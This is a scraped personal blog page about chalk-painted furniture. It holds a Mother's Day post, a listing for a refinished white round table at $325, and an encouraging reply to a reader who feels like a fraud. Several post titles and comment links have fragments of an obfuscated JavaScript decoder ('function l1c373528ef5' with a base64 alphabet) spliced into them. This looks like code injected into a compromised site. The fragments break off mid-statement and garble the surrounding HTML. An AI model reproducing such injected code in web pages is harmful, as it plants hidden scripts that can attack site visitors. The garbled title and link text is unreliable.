chalk paint demo

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc/" rel="bookmark">…peonies, a dress and audrey hepburn

May 9, 2016 by christen function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc/#comments">4 Comments

I am a day late in wishing all you mother’s a happy day, but I was basking in the blessing of Dear Husband taking care of all the parental duties around here, which also included my very, very favorite breakfast – eggs benedict. I would eat egg benedict for every meal if I had a choice.

You know I love design in all forms and I can’t help but get excited about fashion and products and food and travel that reflect who I am on the inside. A good design is a good design. No matter if is a rug, a pillow, a door, a dresser, a hangbag or a certain dress that could have been inspired from a vintage handcerchief. I do love pretty clothes, especially ones that mirror who I feel like inside. It’s just another opportunity to express to the world who this recovering shy girl is.

So, after my delicious breakfast (Oh my, my mouth is watering just tying about it) and a sit on the couch with my coffee, DH and my three darlings offered me a their gifts of hand colored treasures, beaded necklaces, paper flowers and all the things that I will never tire of. The Peony and Suede Blush was in a little box. Sweet and light.

The handkerchief dress in a big black box. I think it’s so sweet when a man buys a girl a dress. Yes, I may have hinted about this particular one, but he went out and bought it.

After an amazing and life-changing Thai massage we went to a local pub for lunch. Oh, how this former vegetarian loves a good burger now days. Yes, Ma’am.

I have to say, though, that my very favorite part was getting my kids to watch my favorite movie in our basement theater. They sat through the entire showing of Breakfast at Tiffany’s and God-bless Reid for crying when Holly Golightly kicked Cat out of the taxi.

I hope you all were blessed with the love you deserve and were able to really take it in. There are times when I cannot take in love and just shrug it off and think I have to do more and try harder. Yesterday I didn’t do that. I let the love come to me and really let it in. In return I felt showered by those that I share life with and honored to be the mom that I am.

Filed Under: Uncategorized Tagged With: blue egg brown nest, Building a Creative Business, chalk Paint, chalk paint demo, home decor, how to chalk paint, painting furniture, Vintage Decor

…shabby chic refinished table…$325

April 21, 2016 by christen 2 Comments

I am finally starting to chip away at the pieces in my garage that I am planning on refinishing and selling. I started at the very beginning with this really, beautiful round table. I have a fondness for white round tables as the very first table I purchased for our first home was similar. It can go with any decor with a cute centerpiece.

I refinished in Annie Sloan Pure White and distressed. I’m wondering if my neighbors thought we were eating al fresco!

Shabby Chic Round Table…$325

Filed Under: Tours and Tutorials Tagged With: annie sloan chalk paint, ASCP, blue egg brown nest, Building a Business, chalk Paint, chalk paint demo, Chalk Paint Tutorial, how to chalk paint, painting furniture

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=/" rel="bookmark">…reader comment and fraud

April 13, 2016 by christen function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=/#comments">5 Comments

“I’ve only been painting furniture for about a year (you’re my main inspiration) however I often feel like a bit of a fraud.” – Melissa

Dear Melissa,

Thank you so much for your vulnerability. I think we all feel like frauds at least a few times every single day. I know that when I lay down my yoga mat and pretend like I am trying to get into Crow pose, I’m really just trying not to fall on my face. Quite literally.

I think there is something to the phrase ” Fake it ‘Til you make it.” It sounds trite, but I do think it’s a way to trick our brains into believing that we go this. When we don’t feel confident many times it is based on how we think others will perceive us. We are worried that they will find fault, be disappointed or even turn and run from us. We are scared of the rejection that we could potentially see in someone’s face and we don’t want to feel that pain. I know I don’t.

My advice to you, Melissa, is to practice, practice, practice at what you are trying to become good at. Then when you are ready to show the world what you have been working on, act like you’ve been doing it your whole life. If you fumble and can’t answer a question, it doesn’t mean that you are a phoney, it just gives you an opportunity to say “Hmm, I really don’t know.” And there are many smart, successful people that really don’t know everything either.

The good news for you is that art is open to interpretation. When I started out I used lots of dark wax. The past 2 years I have not used dark wax once. But, I look back on those images of those pieces and I love them still. It worked and they carried their own look.

When you are ready to sell I want you to stand confidently next to your work. Make sure the craftsmanship is always the best it can be (this is one place not to leave to chance) and then tie a price tag on it and know that it is worth someone else’s money and space.

Namaste.